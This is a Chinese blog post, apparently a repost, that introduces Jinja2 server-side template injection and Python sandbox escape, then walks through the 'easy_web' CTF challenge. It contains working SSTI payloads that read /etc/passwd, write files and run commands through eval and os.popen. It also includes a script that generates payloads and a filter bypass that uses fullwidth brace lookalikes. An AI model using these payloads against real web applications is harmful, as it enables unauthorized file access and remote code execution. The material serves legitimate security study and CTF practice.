【愚公系列】2023年06月 攻防世界-Web(easy_web)


前言

1.SSTI模板注入介绍

SSTI模板注入是一种特殊的代码注入攻击,在使用模板引擎的Web应用程序中广泛存在。攻击者通过输入恶意数据,触发模板引擎解析执行攻击代码,从而控制应用程序并获取敏感信息。

以下是一个基于Jinja2模板引擎的SSTI模板注入攻击案例:

1、首先,攻击者访问目标网站并找到一个可以利用的输入点,如搜索框或评论框等。

2、攻击者在输入框中输入以下Jinja2代码:

{
   
   {config.items()}}

该代码将显示应用程序的配置项。

3、当应用程序解析该输入时,恶意代码将被执行,显示应用程序的配置项,如下所示:

[('SECRET_KEY', '123456789'), ('SQLALCHEMY_DATABASE_URI', 'mysql://root:password@localhost/test'), ('DEBUG', 'True')]

通过SSTI模板注入攻击,攻击者可以轻松地获取应用程序的敏感信息并最终控制服务器。因此,开发人员应该采取必要的安全措施,防止SSTI模板注入攻击。

2.SSTI模板注入利用

Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

python的内敛函数真是强大,可以调用一切函数做自己想做的事情

C:\Users\Shelby\Desktop
λ python
Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> dir('builtins')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> dir('import')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>>

在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

Python中一些常见的特殊方法:

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[‘builtins’]即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{
    
    }.__class__.__bases__[0]
[].__class__.__bases__[0]
 
 
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
 
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
 
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
 
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

安全研究员给出的几个常见Payload

1、python2

文件读取和写入

#读文件
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{
    
    {
    
     ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{
    
    {
    
     config.from_pyfile('/tmp/owned.cfg') }}  

2、python3

因为python3没有file了,所以用的是open

#文件读取
http://192.168.228.36/?name={
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
 
 
#任意执行
http://192.168.228.36/?name={
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
 
#命令执行:
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{
    
    % endif %}{
    
    % endfor %}
 
#文件操作
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
    
    % endif %}{
    
    % endfor %}

寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({
    
    }.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{
    
    { c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

一、easy_web

1.题目

在这里插入图片描述

2.答题

打开链接页面

在这里插入图片描述
随便发送字符串
在这里插入图片描述
python的后端,就想到了SSTI模板注入

在这里插入图片描述

确定了服务器会将我们输入的参数当作html语言解析。

对输入框进行模糊测试

测试的返回是所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

在这里插入图片描述
length为198的就是被过滤掉的

符号大全网址:http://www.fhdq.net/
在这里插入图片描述
直接输入 { 会被过滤掉,因此我们可以输入 ︷

进行过滤字符替换


{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{
    
    {\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串
 
 
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
 
print(str)

得到替换后的函数:

︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__[open](/flag').read()︸︸

︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__[open](/flag').read()︸︸

︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__[eval](__import__('os').popen('cat /flag').read())︸︸

得到flag:flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131255153